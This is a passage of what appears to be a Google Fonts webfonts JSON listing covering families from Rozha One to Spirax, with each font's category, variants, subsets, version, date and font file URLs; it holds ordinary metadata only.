    "regular": "http://fonts.gstatic.com/s/rozhaone/v2/PyrMHQ6lucEIxwKmhqsX8A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rubik Mono One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rubikmonoone/v3/e_cupPtD4BrZzotubJD7UbAREgn5xbW23GEXXnhMQ5Y.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rubik One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rubikone/v3/Zs6TtctNRSIR8T5PO018rQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ruda",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ruda/v7/jPEIPB7DM2DNK_uBGv2HGw.ttf",
    "700": "http://fonts.gstatic.com/s/ruda/v7/JABOu1SYOHcGXVejUq4w6g.ttf",
    "900": "http://fonts.gstatic.com/s/ruda/v7/Uzusv-enCjoIrznlJJaBRw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rufina",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rufina/v4/s9IFr_fIemiohfZS-ZRDbQ.ttf",
    "700": "http://fonts.gstatic.com/s/rufina/v4/D0RUjXFr55y4MVZY2Ww_RA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ruge Boogie",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rugeboogie/v7/U-TTmltL8aENLVIqYbI5QaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ruluko",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ruluko/v4/lv4cMwJtrx_dzmlK5SDc1g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rum Raisin",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rumraisin/v4/kDiL-ntDOEq26B7kYM7cx_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ruslan Display",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ruslandisplay/v7/SREdhlyLNUfU1VssRBfs3rgH88D3l9N4auRNHrNS708.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Russo One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/russoone/v4/zfwxZ--UhUc7FVfgT21PRQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ruthie",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ruthie/v6/vJ2LorukHSbWYoEs5juivg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rye",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rye/v4/VUrJlpPpSZxspl3w_yNOrQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sacramento",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sacramento/v4/_kv-qycSHMNdhjiv0Kj7BvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sail",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sail/v6/iuEoG6kt-bePGvtdpL0GUQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Salsa",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/salsa/v6/BnpUCBmYdvggScEPs5JbpA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sanchez",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sanchez/v4/BEL8ao-E2LJ5eHPLB2UAiw.ttf",
    "italic": "http://fonts.gstatic.com/s/sanchez/v4/iSrhkWLexUZzDeNxNEHtzA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sancreek",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sancreek/v7/8ZacBMraWMvHly4IJI3esw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sansita One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sansitaone/v6/xWqf68oB50JXqGIRR0h2hqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sarina",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sarina/v5/XYtRfaSknHIU3NHdfTdXoQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sarpanch",
   "category": "sans-serif",
   "variants": [
    "regular",
    "500",
    "600",
    "700",
    "800",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v1",
   "lastModified": "2014-09-04",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sarpanch/v1/YMBZdT27b6O5a1DADbAGSg.ttf",
    "500": "http://fonts.gstatic.com/s/sarpanch/v1/Ov7BxSrFSZYrfuJxL1LzQaCWcynf_cDxXwCLxiixG1c.ttf",
    "600": "http://fonts.gstatic.com/s/sarpanch/v1/WTnP2wnc0qSbUaaDG-2OQ6CWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/sarpanch/v1/57kYsSpovYmFaEt2hsZhv6CWcynf_cDxXwCLxiixG1c.ttf",
    "800": "http://fonts.gstatic.com/s/sarpanch/v1/OKyqPLjdnuVghR-1TV6RzaCWcynf_cDxXwCLxiixG1c.ttf",
    "900": "http://fonts.gstatic.com/s/sarpanch/v1/JhYc2cr6kqWTo_P0vfvJR6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Satisfy",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/satisfy/v6/PRlyepkd-JCGHiN8e9WV2w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Scada",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/scada/v4/iZNC3ZEYwe3je6H-28d5Ug.ttf",
    "italic": "http://fonts.gstatic.com/s/scada/v4/PCGyLT1qNawkOUQ3uHFhBw.ttf",
    "700": "http://fonts.gstatic.com/s/scada/v4/t6XNWdMdVWUz93EuRVmifQ.ttf",
    "700italic": "http://fonts.gstatic.com/s/scada/v4/kLrBIf7V4mDMwcd_Yw7-D_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Schoolbell",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/schoolbell/v6/95-3djEuubb3cJx-6E7j4vesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Seaweed Script",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/seaweedscript/v4/eorWAPpOvvWrPw5IHwE60BnpV0hQCek3EmWnCPrvGRM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sevillana",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sevillana/v4/6m1Nh35oP7YEt00U80Smiw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Seymour One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/seymourone/v4/HrdG2AEG_870Xb7xBVv6C6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Shadows Into Light",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/shadowsintolight/v6/clhLqOv7MXn459PTh0gXYAW_5bEze-iLRNvGrRpJsfM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Shadows Into Light Two",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/shadowsintolighttwo/v4/gDxHeefcXIo-lOuZFCn2xVQrZk-Pga5KeEE_oZjkQjQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Shanti",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/shanti/v7/lc4nG_JG6Q-2FQSOMMhb_w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Share",
   "category": "display",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/share/v5/1ytD7zSb_-g9I2GG67vmVw.ttf",
    "italic": "http://fonts.gstatic.com/s/share/v5/a9YGdQWFRlNJ0zClJVaY3Q.ttf",
    "700": "http://fonts.gstatic.com/s/share/v5/XrU8e7a1YKurguyY2azk1Q.ttf",
    "700italic": "http://fonts.gstatic.com/s/share/v5/A992-bLVYwAflKu6iaznufesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Share Tech",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sharetech/v4/Dq3DuZ5_0SW3oEfAWFpen_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Share Tech Mono",
   "category": "monospace",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sharetechmono/v4/RQxK-3RA0Lnf3gnnnNrAscwD6PD0c3_abh9zHKQtbGU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Shojumaru",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/shojumaru/v4/WP8cxonzQQVAoI3RJQ2wug.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Short Stack",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/shortstack/v6/v4dXPI0Rm8XN9gk4SDdqlqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Siemreap",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/siemreap/v9/JSK-mOIsXwxo-zE9XDDl_g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sigmar One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sigmarone/v6/oh_5NxD5JBZksdo2EntKefesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Signika",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/signika/v6/0wDPonOzsYeEo-1KO78w4fesZW2xOQ-xsNqO47m55DA.ttf",
    "regular": "http://fonts.gstatic.com/s/signika/v6/WvDswbww0oAtvBg2l1L-9w.ttf",
    "600": "http://fonts.gstatic.com/s/signika/v6/lQMOF6NUN2ooR7WvB7tADvesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/signika/v6/lEcnfPBICWJPv5BbVNnFJPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Signika Negative",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/signikanegative/v5/q5TOjIw4CenPw6C-TW06FjYFXpUPtCmIEFDvjUnLLaI.ttf",
    "regular": "http://fonts.gstatic.com/s/signikanegative/v5/Z-Q1hzbY8uAo3TpTyPFMXVM1lnCWMnren5_v6047e5A.ttf",
    "600": "http://fonts.gstatic.com/s/signikanegative/v5/q5TOjIw4CenPw6C-TW06FrKLaDJM01OezSVA2R_O3qI.ttf",
    "700": "http://fonts.gstatic.com/s/signikanegative/v5/q5TOjIw4CenPw6C-TW06FpYzPxtVvobH1w3hEppR8WI.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Simonetta",
   "category": "display",
   "variants": [
    "regular",
    "italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/simonetta/v5/fN8puNuahBo4EYMQgp12Yg.ttf",
    "italic": "http://fonts.gstatic.com/s/simonetta/v5/ynxQ3FqfF_Nziwy3T9ZwL6CWcynf_cDxXwCLxiixG1c.ttf",
    "900": "http://fonts.gstatic.com/s/simonetta/v5/22EwvvJ2r1VwVCxit5LcVi3USBnSvpkopQaUR-2r7iU.ttf",
    "900italic": "http://fonts.gstatic.com/s/simonetta/v5/WUXOpCgBZaRPrWtMCpeKoienaqEuufTBk9XMKnKmgDA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sintony",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sintony/v4/IDhCijoIMev2L6Lg5QsduQ.ttf",
    "700": "http://fonts.gstatic.com/s/sintony/v4/zVXQB1wqJn6PE4dWXoYpvPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sirin Stencil",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sirinstencil/v5/pRpLdo0SawzO7MoBpvowsImg74kgS1F7KeR8rWhYwkU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Six Caps",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sixcaps/v7/_XeDnO0HOV8Er9u97If1tQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Skranji",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/skranji/v4/jnOLPS0iZmDL7dfWnW3nIw.ttf",
    "700": "http://fonts.gstatic.com/s/skranji/v4/Lcrhg-fviVkxiEgoadsI1vesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Slabo 13px",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v2",
   "lastModified": "2014-12-03",
   "files": {
    "regular": "http://fonts.gstatic.com/s/slabo13px/v2/jPGWFTjRXfCSzy0qd1nqdvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Slabo 27px",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v2",
   "lastModified": "2014-12-03",
   "files": {
    "regular": "http://fonts.gstatic.com/s/slabo27px/v2/gC0o8B9eU21EafNkXlRAfPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Slackey",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/slackey/v6/evRIMNhGVCRJvCPv4kteeA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Smokum",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/smokum/v6/8YP4BuAcy97X8WfdKfxVRw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Smythe",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/smythe/v7/yACD1gy_MpbB9Ft42fUvYw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sniglet",
   "category": "display",
   "variants": [
    "regular",
    "800"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sniglet/v7/XWhyQLHH4SpCVsHRPRgu9w.ttf",
    "800": "http://fonts.gstatic.com/s/sniglet/v7/NLF91nBmcEfkBgcEWbHFa_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Snippet",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/snippet/v6/eUcYMLq2GtHZovLlQH_9kA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Snowburst One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/snowburstone/v4/zSQzKOPukXRux2oTqfYJjIjjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sofadi One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sofadione/v4/nirf4G12IcJ6KI8Eoj119fesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sofia",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sofia/v5/Imnvx0Ag9r6iDBFUY5_RaQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sonsie One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sonsieone/v5/KSP7xT1OSy0q2ob6RQOTWPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sorts Mill Goudy",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sortsmillgoudy/v6/JzRrPKdwEnE8F1TDmDLMUlIL2Qjg-Xlsg_fhGbe2P5U.ttf",
    "italic": "http://fonts.gstatic.com/s/sortsmillgoudy/v6/UUu1lKiy4hRmBWk599VL1TYNkCNSzLyoucKmbTguvr0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Source Code Pro",
   "category": "monospace",
   "variants": [
    "200",
    "300",
    "regular",
    "500",
    "600",
    "700",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "200": "http://fonts.gstatic.com/s/sourcecodepro/v6/leqv3v-yTsJNC7nFznSMqaXvKVW_haheDNrHjziJZVk.ttf",
    "300": "http://fonts.gstatic.com/s/sourcecodepro/v6/leqv3v-yTsJNC7nFznSMqVP7R5lD_au4SZC6Ks_vyWs.ttf",
    "regular": "http://fonts.gstatic.com/s/sourcecodepro/v6/mrl8jkM18OlOQN8JLgasD9Rl0pGnog23EMYRrBmUzJQ.ttf",
    "500": "http://fonts.gstatic.com/s/sourcecodepro/v6/leqv3v-yTsJNC7nFznSMqX63uKwMO11Of4rJWV582wg.ttf",
    "600": "http://fonts.gstatic.com/s/sourcecodepro/v6/leqv3v-yTsJNC7nFznSMqeiMeWyi5E_-XkTgB5psiDg.ttf",
    "700": "http://fonts.gstatic.com/s/sourcecodepro/v6/leqv3v-yTsJNC7nFznSMqfgXsetDviZcdR5OzC1KPcw.ttf",
    "900": "http://fonts.gstatic.com/s/sourcecodepro/v6/leqv3v-yTsJNC7nFznSMqRA_awHl7mXRjE_LQVochcU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Source Sans Pro",
   "category": "sans-serif",
   "variants": [
    "200",
    "200italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "600",
    "600italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "vietnamese",
    "latin-ext",
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "200": "http://fonts.gstatic.com/s/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGKXvKVW_haheDNrHjziJZVk.ttf",
    "200italic": "http://fonts.gstatic.com/s/sourcesanspro/v9/fpTVHK8qsXbIeTHTrnQH6OptKU7UIBg2hLM7eMTU8bI.ttf",
    "300": "http://fonts.gstatic.com/s/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGFP7R5lD_au4SZC6Ks_vyWs.ttf",
    "300italic": "http://fonts.gstatic.com/s/sourcesanspro/v9/fpTVHK8qsXbIeTHTrnQH6DUpNKoQAsDux-Todp8f29w.ttf",
    "regular": "http://fonts.gstatic.com/s/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlNRl0pGnog23EMYRrBmUzJQ.ttf",
    "italic": "http://fonts.gstatic.com/s/sourcesanspro/v9/M2Jd71oPJhLKp0zdtTvoMwRX4TIfMQQEXLu74GftruE.ttf",
    "600": "http://fonts.gstatic.com/s/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGOiMeWyi5E_-XkTgB5psiDg.ttf",
    "600italic": "http://fonts.gstatic.com/s/sourcesanspro/v9/fpTVHK8qsXbIeTHTrnQH6Pp6lGoTTgjlW0sC4r900Co.ttf",
    "700": "http://fonts.gstatic.com/s/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPgXsetDviZcdR5OzC1KPcw.ttf",
    "700italic": "http://fonts.gstatic.com/s/sourcesanspro/v9/fpTVHK8qsXbIeTHTrnQH6LVT4locI09aamSzFGQlDMY.ttf",
    "900": "http://fonts.gstatic.com/s/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGBA_awHl7mXRjE_LQVochcU.ttf",
    "900italic": "http://fonts.gstatic.com/s/sourcesanspro/v9/fpTVHK8qsXbIeTHTrnQH6A0NcF6HPGWR298uWIdxWv0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Source Serif Pro",
   "category": "serif",
   "variants": [
    "regular",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sourceserifpro/v4/CeUM4np2c42DV49nanp55YGL0S0YDpKs5GpLtZIQ0m4.ttf",
    "600": "http://fonts.gstatic.com/s/sourceserifpro/v4/yd5lDMt8Sva2PE17yiLarGi4cQnvCGV11m1KlXh97aQ.ttf",
    "700": "http://fonts.gstatic.com/s/sourceserifpro/v4/yd5lDMt8Sva2PE17yiLarEkpYHRvxGNSCrR82n_RDNk.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Special Elite",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/specialelite/v6/9-wW4zu3WNoD5Fjka35Jm4jjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Spicy Rice",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/spicyrice/v5/WGCtz7cLoggXARPi9OGD6_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Spinnaker",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/spinnaker/v8/MQdIXivKITpjROUdiN6Jgg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Spirax",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/spirax/v5/IOKqhk-Ccl7y31yDsePPkw.ttf"
   }
